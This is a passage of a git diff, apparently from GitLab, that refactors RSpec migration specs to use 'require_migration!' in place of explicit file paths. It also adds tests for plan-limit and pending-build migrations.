@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20201008013434_generate_ci_jwt_signing_key.rb')
+require_migration!
RSpec.describe GenerateCiJwtSigningKey do
let(:application_settings) do
diff --git a/spec/migrations/generate_lets_encrypt_private_key_spec.rb b/spec/migrations/generate_lets_encrypt_private_key_spec.rb
index cad257c18a0..8525a7bbd1c 100644
--- a/spec/migrations/generate_lets_encrypt_private_key_spec.rb
+++ b/spec/migrations/generate_lets_encrypt_private_key_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20190524062810_generate_lets_encrypt_private_key.rb')
+require_migration!
RSpec.describe GenerateLetsEncryptPrivateKey do
describe '#up' do
diff --git a/spec/migrations/generate_missing_routes_for_bots_spec.rb b/spec/migrations/generate_missing_routes_for_bots_spec.rb
index 8af22042350..594e51b4410 100644
--- a/spec/migrations/generate_missing_routes_for_bots_spec.rb
+++ b/spec/migrations/generate_missing_routes_for_bots_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200703064117_generate_missing_routes_for_bots.rb')
+require_migration!
RSpec.describe GenerateMissingRoutesForBots, :migration do
let(:users) { table(:users) }
diff --git a/spec/migrations/insert_ci_daily_pipeline_schedule_triggers_plan_limits_spec.rb b/spec/migrations/insert_ci_daily_pipeline_schedule_triggers_plan_limits_spec.rb
new file mode 100644
index 00000000000..4b8d3641247
--- /dev/null
+++ b/spec/migrations/insert_ci_daily_pipeline_schedule_triggers_plan_limits_spec.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require Rails.root.join('db', 'migrate', '20210526190553_insert_ci_daily_pipeline_schedule_triggers_plan_limits.rb')
+
+RSpec.describe InsertCiDailyPipelineScheduleTriggersPlanLimits do
+ let_it_be(:plans) { table(:plans) }
+ let_it_be(:plan_limits) { table(:plan_limits) }
+
+ context 'when on Gitlab.com' do
+ let(:free_plan) { plans.create!(name: 'free') }
+ let(:bronze_plan) { plans.create!(name: 'bronze') }
+ let(:silver_plan) { plans.create!(name: 'silver') }
+ let(:gold_plan) { plans.create!(name: 'gold') }
+
+ before do
+ allow(Gitlab).to receive(:com?).and_return(true)
+
+ plan_limits.create!(plan_id: free_plan.id)
+ plan_limits.create!(plan_id: bronze_plan.id)
+ plan_limits.create!(plan_id: silver_plan.id)
+ plan_limits.create!(plan_id: gold_plan.id)
+ end
+
+ it 'correctly migrates up and down' do
+ reversible_migration do |migration|
+ migration.before -> {
+ expect(plan_limits.pluck(:plan_id, :ci_daily_pipeline_schedule_triggers)).to contain_exactly(
+ [free_plan.id, 0],
+ [bronze_plan.id, 0],
+ [silver_plan.id, 0],
+ [gold_plan.id, 0]
+ )
+ }
+
+ migration.after -> {
+ expect(plan_limits.pluck(:plan_id, :ci_daily_pipeline_schedule_triggers)).to contain_exactly(
+ [free_plan.id, 24],
+ [bronze_plan.id, 288],
+ [silver_plan.id, 288],
+ [gold_plan.id, 288]
+ )
+ }
+ end
+ end
+ end
+
+ context 'when on self hosted' do
+ let(:free_plan) { plans.create!(name: 'free') }
+
+ before do
+ allow(Gitlab).to receive(:com?).and_return(false)
+
+ plan_limits.create!(plan_id: free_plan.id)
+ end
+
+ it 'does nothing' do
+ reversible_migration do |migration|
+ migration.before -> {
+ expect(plan_limits.pluck(:plan_id, :ci_daily_pipeline_schedule_triggers)).to contain_exactly(
+ [free_plan.id, 0]
+ )
+ }
+
+ migration.after -> {
+ expect(plan_limits.pluck(:plan_id, :ci_daily_pipeline_schedule_triggers)).to contain_exactly(
+ [free_plan.id, 0]
+ )
+ }
+ end
+ end
+ end
+end
diff --git a/spec/migrations/insert_daily_invites_plan_limits_spec.rb b/spec/migrations/insert_daily_invites_plan_limits_spec.rb
index 3265efcb0ce..49d41a1039f 100644
--- a/spec/migrations/insert_daily_invites_plan_limits_spec.rb
+++ b/spec/migrations/insert_daily_invites_plan_limits_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20201007033723_insert_daily_invites_plan_limits.rb')
+require_migration!
RSpec.describe InsertDailyInvitesPlanLimits do
let(:plans) { table(:plans) }
diff --git a/spec/migrations/insert_project_feature_flags_plan_limits_spec.rb b/spec/migrations/insert_project_feature_flags_plan_limits_spec.rb
index 1ad070de1ea..481e987c188 100644
--- a/spec/migrations/insert_project_feature_flags_plan_limits_spec.rb
+++ b/spec/migrations/insert_project_feature_flags_plan_limits_spec.rb
@@ -1,11 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join(
- 'db',
- 'migrate',
- '20200831222347_insert_project_feature_flags_plan_limits.rb'
-)
+require_migration!
RSpec.describe InsertProjectFeatureFlagsPlanLimits do
let(:migration) { described_class.new }
diff --git a/spec/migrations/insert_project_hooks_plan_limits_spec.rb b/spec/migrations/insert_project_hooks_plan_limits_spec.rb
index f29d72168bc..365dd679d76 100644
--- a/spec/migrations/insert_project_hooks_plan_limits_spec.rb
+++ b/spec/migrations/insert_project_hooks_plan_limits_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20191216183532_insert_project_hooks_plan_limits.rb')
+require_migration!
RSpec.describe InsertProjectHooksPlanLimits do
let(:migration) { described_class.new }
diff --git a/spec/migrations/migrate_all_merge_request_user_mentions_to_db_spec.rb b/spec/migrations/migrate_all_merge_request_user_mentions_to_db_spec.rb
index f7789469efb..c2df04bf2d6 100644
--- a/spec/migrations/migrate_all_merge_request_user_mentions_to_db_spec.rb
+++ b/spec/migrations/migrate_all_merge_request_user_mentions_to_db_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200601120434_migrate_all_merge_request_user_mentions_to_db')
+require_migration!
RSpec.describe MigrateAllMergeRequestUserMentionsToDb, :migration do
let(:users) { table(:users) }
diff --git a/spec/migrations/migrate_auto_dev_ops_domain_to_cluster_domain_spec.rb b/spec/migrations/migrate_auto_dev_ops_domain_to_cluster_domain_spec.rb
index c7c846c7ef3..a836fb4bfb9 100644
--- a/spec/migrations/migrate_auto_dev_ops_domain_to_cluster_domain_spec.rb
+++ b/spec/migrations/migrate_auto_dev_ops_domain_to_cluster_domain_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190204115450_migrate_auto_dev_ops_domain_to_cluster_domain.rb')
+require_migration!
RSpec.describe MigrateAutoDevOpsDomainToClusterDomain do
include MigrationHelpers::ClusterHelpers
diff --git a/spec/migrations/migrate_bot_type_to_user_type_spec.rb b/spec/migrations/migrate_bot_type_to_user_type_spec.rb
index fcd7f1ebcb8..54cf3450692 100644
--- a/spec/migrations/migrate_bot_type_to_user_type_spec.rb
+++ b/spec/migrations/migrate_bot_type_to_user_type_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200311074438_migrate_bot_type_to_user_type.rb')
+require_migration!
RSpec.describe MigrateBotTypeToUserType, :migration do
let(:users) { table(:users) }
diff --git a/spec/migrations/migrate_code_owner_approval_status_to_protected_branches_in_batches_spec.rb b/spec/migrations/migrate_code_owner_approval_status_to_protected_branches_in_batches_spec.rb
index 70304a4deb2..121ff3d6622 100644
--- a/spec/migrations/migrate_code_owner_approval_status_to_protected_branches_in_batches_spec.rb
+++ b/spec/migrations/migrate_code_owner_approval_status_to_protected_branches_in_batches_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190827102026_migrate_code_owner_approval_status_to_protected_branches_in_batches.rb')
+require_migration!
RSpec.describe MigrateCodeOwnerApprovalStatusToProtectedBranchesInBatches do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/migrate_commit_notes_mentions_to_db_spec.rb b/spec/migrations/migrate_commit_notes_mentions_to_db_spec.rb
index eb7fb7d4fc5..aa2aa6297c4 100644
--- a/spec/migrations/migrate_commit_notes_mentions_to_db_spec.rb
+++ b/spec/migrations/migrate_commit_notes_mentions_to_db_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200128134110_migrate_commit_notes_mentions_to_db')
+require_migration!
RSpec.describe MigrateCommitNotesMentionsToDb, :migration, :sidekiq do
let(:users) { table(:users) }
diff --git a/spec/migrations/migrate_compliance_framework_enum_to_database_framework_record_spec.rb b/spec/migrations/migrate_compliance_framework_enum_to_database_framework_record_spec.rb
index 5c3ca281d49..6a9a75a7019 100644
--- a/spec/migrations/migrate_compliance_framework_enum_to_database_framework_record_spec.rb
+++ b/spec/migrations/migrate_compliance_framework_enum_to_database_framework_record_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20201005094331_migrate_compliance_framework_enum_to_database_framework_record.rb')
+require_migration!
RSpec.describe MigrateComplianceFrameworkEnumToDatabaseFrameworkRecord, schema: 20201005092753 do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/migrate_create_commit_signature_worker_sidekiq_queue_spec.rb b/spec/migrations/migrate_create_commit_signature_worker_sidekiq_queue_spec.rb
index 5f7b4755980..0e631f255bf 100644
--- a/spec/migrations/migrate_create_commit_signature_worker_sidekiq_queue_spec.rb
+++ b/spec/migrations/migrate_create_commit_signature_worker_sidekiq_queue_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200206091544_migrate_create_commit_signature_worker_sidekiq_queue.rb')
+require_migration!
RSpec.describe MigrateCreateCommitSignatureWorkerSidekiqQueue, :sidekiq, :redis do
include Gitlab::Database::MigrationHelpers
diff --git a/spec/migrations/migrate_delayed_project_removal_from_namespaces_to_namespace_settings_spec.rb b/spec/migrations/migrate_delayed_project_removal_from_namespaces_to_namespace_settings_spec.rb
index 28a8dcf0d4c..0f45cc842ef 100644
--- a/spec/migrations/migrate_delayed_project_removal_from_namespaces_to_namespace_settings_spec.rb
+++ b/spec/migrations/migrate_delayed_project_removal_from_namespaces_to_namespace_settings_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210215095328_migrate_delayed_project_removal_from_namespaces_to_namespace_settings.rb')
+require_migration!
RSpec.describe MigrateDelayedProjectRemovalFromNamespacesToNamespaceSettings, :migration do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/migrate_discussion_id_on_promoted_epics_spec.rb b/spec/migrations/migrate_discussion_id_on_promoted_epics_spec.rb
index 699e9507f50..e42baab9927 100644
--- a/spec/migrations/migrate_discussion_id_on_promoted_epics_spec.rb
+++ b/spec/migrations/migrate_discussion_id_on_promoted_epics_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190715193142_migrate_discussion_id_on_promoted_epics.rb')
+require_migration!
RSpec.describe MigrateDiscussionIdOnPromotedEpics do
let(:migration_class) { described_class::MIGRATION }
diff --git a/spec/migrations/migrate_elastic_index_settings_spec.rb b/spec/migrations/migrate_elastic_index_settings_spec.rb
index 41483773903..5f39d9b9fc1 100644
--- a/spec/migrations/migrate_elastic_index_settings_spec.rb
+++ b/spec/migrations/migrate_elastic_index_settings_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20210324131727_migrate_elastic_index_settings.rb')
+require_migration!
RSpec.describe MigrateElasticIndexSettings do
let(:elastic_index_settings) { table(:elastic_index_settings) }
diff --git a/spec/migrations/migrate_incident_issues_to_incident_type_spec.rb b/spec/migrations/migrate_incident_issues_to_incident_type_spec.rb
index dc38695c7fe..acac6114c71 100644
--- a/spec/migrations/migrate_incident_issues_to_incident_type_spec.rb
+++ b/spec/migrations/migrate_incident_issues_to_incident_type_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200723040950_migrate_incident_issues_to_incident_type.rb')
+require_migration!
RSpec.describe MigrateIncidentIssuesToIncidentType do
let(:migration) { described_class.new }
diff --git a/spec/migrations/migrate_k8s_service_integration_spec.rb b/spec/migrations/migrate_k8s_service_integration_spec.rb
index 66e30b29f61..ba6071b72e4 100644
--- a/spec/migrations/migrate_k8s_service_integration_spec.rb
+++ b/spec/migrations/migrate_k8s_service_integration_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190517153211_migrate_k8s_service_integration.rb')
+require_migration!
RSpec.describe MigrateK8sServiceIntegration do
context 'template service' do
diff --git a/spec/migrations/migrate_legacy_managed_clusters_to_unmanaged_spec.rb b/spec/migrations/migrate_legacy_managed_clusters_to_unmanaged_spec.rb
index c8bfeec8049..3d8685c7619 100644
--- a/spec/migrations/migrate_legacy_managed_clusters_to_unmanaged_spec.rb
+++ b/spec/migrations/migrate_legacy_managed_clusters_to_unmanaged_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190606163724_migrate_legacy_managed_clusters_to_unmanaged.rb')
+require_migration!
RSpec.describe MigrateLegacyManagedClustersToUnmanaged do
let(:cluster_type) { 'project_type' }
diff --git a/spec/migrations/migrate_managed_clusters_with_no_token_to_unmanaged_spec.rb b/spec/migrations/migrate_managed_clusters_with_no_token_to_unmanaged_spec.rb
index 1fc92f6ceea..b753b84ae55 100644
--- a/spec/migrations/migrate_managed_clusters_with_no_token_to_unmanaged_spec.rb
+++ b/spec/migrations/migrate_managed_clusters_with_no_token_to_unmanaged_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190613231640_migrate_managed_clusters_with_no_token_to_unmanaged.rb')
+require_migration!
RSpec.describe MigrateManagedClustersWithNoTokenToUnmanaged do
let(:cluster_type) { 'project_type' }
diff --git a/spec/migrations/migrate_merge_request_mentions_to_db_spec.rb b/spec/migrations/migrate_merge_request_mentions_to_db_spec.rb
index 83388cc6314..06493c4e5c1 100644
--- a/spec/migrations/migrate_merge_request_mentions_to_db_spec.rb
+++ b/spec/migrations/migrate_merge_request_mentions_to_db_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200211155539_migrate_merge_request_mentions_to_db')
+require_migration!
RSpec.describe MigrateMergeRequestMentionsToDb, :migration do
let(:users) { table(:users) }
diff --git a/spec/migrations/migrate_ops_feature_flags_scopes_target_user_ids_spec.rb b/spec/migrations/migrate_ops_feature_flags_scopes_target_user_ids_spec.rb
index f066b9c90cd..5caf03992dd 100644
--- a/spec/migrations/migrate_ops_feature_flags_scopes_target_user_ids_spec.rb
+++ b/spec/migrations/migrate_ops_feature_flags_scopes_target_user_ids_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20191118211629_migrate_ops_feature_flags_scopes_target_user_ids.rb')
+require_migration!
RSpec.describe MigrateOpsFeatureFlagsScopesTargetUserIds do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/migrate_protected_attribute_to_pending_builds_spec.rb b/spec/migrations/migrate_protected_attribute_to_pending_builds_spec.rb
new file mode 100644
index 00000000000..e838476a650
--- /dev/null
+++ b/spec/migrations/migrate_protected_attribute_to_pending_builds_spec.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require Rails.root.join('db', 'post_migrate', '20210610102413_migrate_protected_attribute_to_pending_builds.rb')
+
+RSpec.describe MigrateProtectedAttributeToPendingBuilds do
+ let(:namespaces) { table(:namespaces) }
+ let(:projects) { table(:projects) }
+ let(:queue) { table(:ci_pending_builds) }
+ let(:builds) { table(:ci_builds) }
+
+ before do
+ namespaces.create!(id: 123, name: 'sample', path: 'sample')
+ projects.create!(id: 123, name: 'sample', path: 'sample', namespace_id: 123)
+
+ builds.create!(id: 1, project_id: 123, status: 'pending', protected: false, type: 'Ci::Build')
+ builds.create!(id: 2, project_id: 123, status: 'pending', protected: true, type: 'Ci::Build')
+ builds.create!(id: 3, project_id: 123, status: 'pending', protected: false, type: 'Ci::Build')
+ builds.create!(id: 4, project_id: 123, status: 'pending', protected: true, type: 'Ci::Bridge')
+ builds.create!(id: 5, project_id: 123, status: 'success', protected: true, type: 'Ci::Build')
+
+ queue.create!(id: 1, project_id: 123, build_id: 1)
+ queue.create!(id: 2, project_id: 123, build_id: 2)
+ queue.create!(id: 3, project_id: 123, build_id: 3)
+ end
+
+ it 'updates entries that should be protected' do
+ migrate!
+
+ expect(queue.where(protected: true).count).to eq 1
+ expect(queue.find_by(protected: true).id).to eq 2
+ end
+end
diff --git a/spec/migrations/migrate_storage_migrator_sidekiq_queue_spec.rb b/spec/migrations/migrate_storage_migrator_sidekiq_queue_spec.rb
index 1181c169f57..4db819f2fa1 100644
--- a/spec/migrations/migrate_storage_migrator_sidekiq_queue_spec.rb
+++ b/spec/migrations/migrate_storage_migrator_sidekiq_queue_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190124200344_migrate_storage_migrator_sidekiq_queue.rb')
+require_migration!
RSpec.describe MigrateStorageMigratorSidekiqQueue, :redis do
include Gitlab::Database::MigrationHelpers
diff --git a/spec/migrations/migrate_store_security_reports_sidekiq_queue_spec.rb b/spec/migrations/migrate_store_security_reports_sidekiq_queue_spec.rb
index 4face37bd66..35cb6104fe2 100644
--- a/spec/migrations/migrate_store_security_reports_sidekiq_queue_spec.rb
+++ b/spec/migrations/migrate_store_security_reports_sidekiq_queue_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200213220159_migrate_store_security_reports_sidekiq_queue.rb')
+require_migration!
RSpec.describe MigrateStoreSecurityReportsSidekiqQueue, :redis do
include Gitlab::Database::MigrationHelpers
diff --git a/spec/migrations/migrate_sync_security_reports_to_report_approval_rules_sidekiq_queue_spec.rb b/spec/migrations/migrate_sync_security_reports_to_report_approval_rules_sidekiq_queue_spec.rb
index 15c5761bd99..a9e386301b8 100644
--- a/spec/migrations/migrate_sync_security_reports_to_report_approval_rules_sidekiq_queue_spec.rb
+++ b/spec/migrations/migrate_sync_security_reports_to_report_approval_rules_sidekiq_queue_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200213220211_migrate_sync_security_reports_to_report_approval_rules_sidekiq_queue.rb')
+require_migration!
RSpec.describe MigrateSyncSecurityReportsToReportApprovalRulesSidekiqQueue, :redis do
include Gitlab::Database::MigrationHelpers
diff --git a/spec/migrations/move_container_registry_enabled_to_project_features3_spec.rb b/spec/migrations/move_container_registry_enabled_to_project_features3_spec.rb
index 4c50aa2dd10..e47cea749d6 100644
--- a/spec/migrations/move_container_registry_enabled_to_project_features3_spec.rb
+++ b/spec/migrations/move_container_registry_enabled_to_project_features3_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210415155043_move_container_registry_enabled_to_project_features3.rb')
+require_migration!
RSpec.describe MoveContainerRegistryEnabledToProjectFeatures3, :migration do
let(:namespace) { table(:namespaces).create!(name: 'gitlab', path: 'gitlab-org') }
diff --git a/spec/migrations/move_limits_from_plans_spec.rb b/spec/migrations/move_limits_from_plans_spec.rb
index c65fc439dd6..92ac804733f 100644
--- a/spec/migrations/move_limits_from_plans_spec.rb
+++ b/spec/migrations/move_limits_from_plans_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20191030152934_move_limits_from_plans.rb')
+require_migration!
RSpec.describe MoveLimitsFromPlans do
let(:plans) { table(:plans) }
diff --git a/spec/migrations/nullify_users_role_spec.rb b/spec/migrations/nullify_users_role_spec.rb
index 3cdeb81f362..11056d9cf0c 100644
--- a/spec/migrations/nullify_users_role_spec.rb
+++ b/spec/migrations/nullify_users_role_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20191104142124_nullify_users_role.rb')
+require_migration!
RSpec.describe NullifyUsersRole do
let(:users) { table(:users) }
diff --git a/spec/migrations/populate_project_statistics_packages_size_spec.rb b/spec/migrations/populate_project_statistics_packages_size_spec.rb
index 6c838e83c56..af9237f4bd6 100644
--- a/spec/migrations/populate_project_statistics_packages_size_spec.rb
+++ b/spec/migrations/populate_project_statistics_packages_size_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190418132125_populate_project_statistics_packages_size.rb')
+require_migration!
RSpec.describe PopulateProjectStatisticsPackagesSize do
let(:project_statistics) { table(:project_statistics) }
diff --git a/spec/migrations/populate_rule_type_on_approval_merge_request_rules_spec.rb b/spec/migrations/populate_rule_type_on_approval_merge_request_rules_spec.rb
index 2ac912d7979..7dc3f5a1004 100644
--- a/spec/migrations/populate_rule_type_on_approval_merge_request_rules_spec.rb
+++ b/spec/migrations/populate_rule_type_on_approval_merge_request_rules_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190520201748_populate_rule_type_on_approval_merge_request_rules.rb')
+require_migration!
RSpec.describe PopulateRuleTypeOnApprovalMergeRequestRules do
let(:migration) { described_class.new }
diff --git a/spec/migrations/remove_additional_application_settings_rows_spec.rb b/spec/migrations/remove_additional_application_settings_rows_spec.rb
index a865e8e8dd7..d781195abf2 100644
--- a/spec/migrations/remove_additional_application_settings_rows_spec.rb
+++ b/spec/migrations/remove_additional_application_settings_rows_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200420162730_remove_additional_application_settings_rows.rb')
+require_migration!
RSpec.describe RemoveAdditionalApplicationSettingsRows do
let(:application_settings) { table(:application_settings) }
diff --git a/spec/migrations/remove_alerts_service_records_again_spec.rb b/spec/migrations/remove_alerts_service_records_again_spec.rb
index 963b54848f9..94d3e957b6a 100644
--- a/spec/migrations/remove_alerts_service_records_again_spec.rb
+++ b/spec/migrations/remove_alerts_service_records_again_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210205214003_remove_alerts_service_records_again.rb')
+require_migration!
RSpec.describe RemoveAlertsServiceRecordsAgain do
let(:services) { table(:services) }
diff --git a/spec/migrations/remove_alerts_service_records_spec.rb b/spec/migrations/remove_alerts_service_records_spec.rb
index eaf9f90b445..83f440f8e17 100644
--- a/spec/migrations/remove_alerts_service_records_spec.rb
+++ b/spec/migrations/remove_alerts_service_records_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210107194543_remove_alerts_service_records.rb')
+require_migration!
RSpec.describe RemoveAlertsServiceRecords do
let(:services) { table(:services) }
diff --git a/spec/migrations/remove_deprecated_jenkins_service_records_spec.rb b/spec/migrations/remove_deprecated_jenkins_service_records_spec.rb
index 00fde88c528..817cf183e0c 100644
--- a/spec/migrations/remove_deprecated_jenkins_service_records_spec.rb
+++ b/spec/migrations/remove_deprecated_jenkins_service_records_spec.rb
@@ -1,8 +1,9 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200511130129_remove_deprecated_jenkins_service_records.rb')
-require Rails.root.join('db', 'post_migrate', '20200511130130_ensure_deprecated_jenkins_service_records_removal.rb')
+require_migration!
+
+require_migration!('ensure_deprecated_jenkins_service_records_removal')
RSpec.shared_examples 'remove DeprecatedJenkinsService records' do
let(:services) { table(:services) }
diff --git a/spec/migrations/remove_duplicate_labels_from_groups_spec.rb b/spec/migrations/remove_duplicate_labels_from_groups_spec.rb
index eff2c6a37e4..125314f70dd 100644
--- a/spec/migrations/remove_duplicate_labels_from_groups_spec.rb
+++ b/spec/migrations/remove_duplicate_labels_from_groups_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200716234259_remove_duplicate_labels_from_group.rb')
+require_migration!('remove_duplicate_labels_from_group')
RSpec.describe RemoveDuplicateLabelsFromGroup do
let(:labels_table) { table(:labels) }
diff --git a/spec/migrations/remove_duplicate_labels_from_project_spec.rb b/spec/migrations/remove_duplicate_labels_from_project_spec.rb
index 5eb8ba96aae..eeb9f155e01 100644
--- a/spec/migrations/remove_duplicate_labels_from_project_spec.rb
+++ b/spec/migrations/remove_duplicate_labels_from_project_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200305082754_remove_duplicate_labels_from_project.rb')
+require_migration!
RSpec.describe RemoveDuplicateLabelsFromProject do
let(:labels_table) { table(:labels) }
diff --git a/spec/migrations/remove_empty_github_service_templates_spec.rb b/spec/migrations/remove_empty_github_service_templates_spec.rb
index 7a77e342efd..ad84187c298 100644
--- a/spec/migrations/remove_empty_github_service_templates_spec.rb
+++ b/spec/migrations/remove_empty_github_service_templates_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20191021101942_remove_empty_github_service_templates.rb')
+require_migration!
RSpec.describe RemoveEmptyGithubServiceTemplates do
subject(:migration) { described_class.new }
diff --git a/spec/migrations/remove_gitlab_issue_tracker_service_records_spec.rb b/spec/migrations/remove_gitlab_issue_tracker_service_records_spec.rb
index 81fa29f4c54..b4aa5187d4c 100644
--- a/spec/migrations/remove_gitlab_issue_tracker_service_records_spec.rb
+++ b/spec/migrations/remove_gitlab_issue_tracker_service_records_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200623142159_remove_gitlab_issue_tracker_service_records.rb')
+require_migration!
RSpec.describe RemoveGitlabIssueTrackerServiceRecords do
let(:services) { table(:services) }
diff --git a/spec/migrations/remove_hipchat_service_records_spec.rb b/spec/migrations/remove_hipchat_service_records_spec.rb
index bc76d7933d8..d218b6b23a5 100644
--- a/spec/migrations/remove_hipchat_service_records_spec.rb
+++ b/spec/migrations/remove_hipchat_service_records_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210420103955_remove_hipchat_service_records.rb')
+require_migration!
RSpec.describe RemoveHipchatServiceRecords do
let(:services) { table(:services) }
diff --git a/spec/migrations/remove_orphan_service_hooks_spec.rb b/spec/migrations/remove_orphan_service_hooks_spec.rb
index c06a8b97738..71e70daf1e6 100644
--- a/spec/migrations/remove_orphan_service_hooks_spec.rb
+++ b/spec/migrations/remove_orphan_service_hooks_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
require_migration!
-require Rails.root.join('db', 'migrate', '20201119125730_add_web_hooks_service_foreign_key.rb')
+require_migration!('add_web_hooks_service_foreign_key')
RSpec.describe RemoveOrphanServiceHooks, schema: 20201203123201 do
let(:web_hooks) { table(:web_hooks) }
diff --git a/spec/migrations/remove_orphaned_invited_members_spec.rb b/spec/migrations/remove_orphaned_invited_members_spec.rb
index 10da63518c2..67e98b69ccc 100644
--- a/spec/migrations/remove_orphaned_invited_members_spec.rb
+++ b/spec/migrations/remove_orphaned_invited_members_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200424050250_remove_orphaned_invited_members.rb')
+require_migration!
RSpec.describe RemoveOrphanedInvitedMembers do
let(:members_table) { table(:members) }
diff --git a/spec/migrations/remove_packages_deprecated_dependencies_spec.rb b/spec/migrations/remove_packages_deprecated_dependencies_spec.rb
index 84c23240af9..f76a26bcdc1 100644
--- a/spec/migrations/remove_packages_deprecated_dependencies_spec.rb
+++ b/spec/migrations/remove_packages_deprecated_dependencies_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200210135504_remove_packages_deprecated_dependencies.rb')
+require_migration!
RSpec.describe RemovePackagesDeprecatedDependencies do
let(:projects) { table(:projects) }
diff --git a/spec/migrations/remove_records_without_group_from_webhooks_table_spec.rb b/spec/migrations/remove_records_without_group_from_webhooks_table_spec.rb
index a28ca12a10d..c267e419b42 100644
--- a/spec/migrations/remove_records_without_group_from_webhooks_table_spec.rb
+++ b/spec/migrations/remove_records_without_group_from_webhooks_table_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
require_migration!
-require Rails.root.join('db', 'migrate', '20210325092215_add_not_valid_foreign_key_to_group_hooks.rb')
+require_migration!('add_not_valid_foreign_key_to_group_hooks')
RSpec.describe RemoveRecordsWithoutGroupFromWebhooksTable, schema: 20210330091751 do
let(:web_hooks) { table(:web_hooks) }
diff --git a/spec/migrations/remove_security_dashboard_feature_flag_spec.rb b/spec/migrations/remove_security_dashboard_feature_flag_spec.rb
index 77363aebfe6..fea7fe01cc7 100644
--- a/spec/migrations/remove_security_dashboard_feature_flag_spec.rb
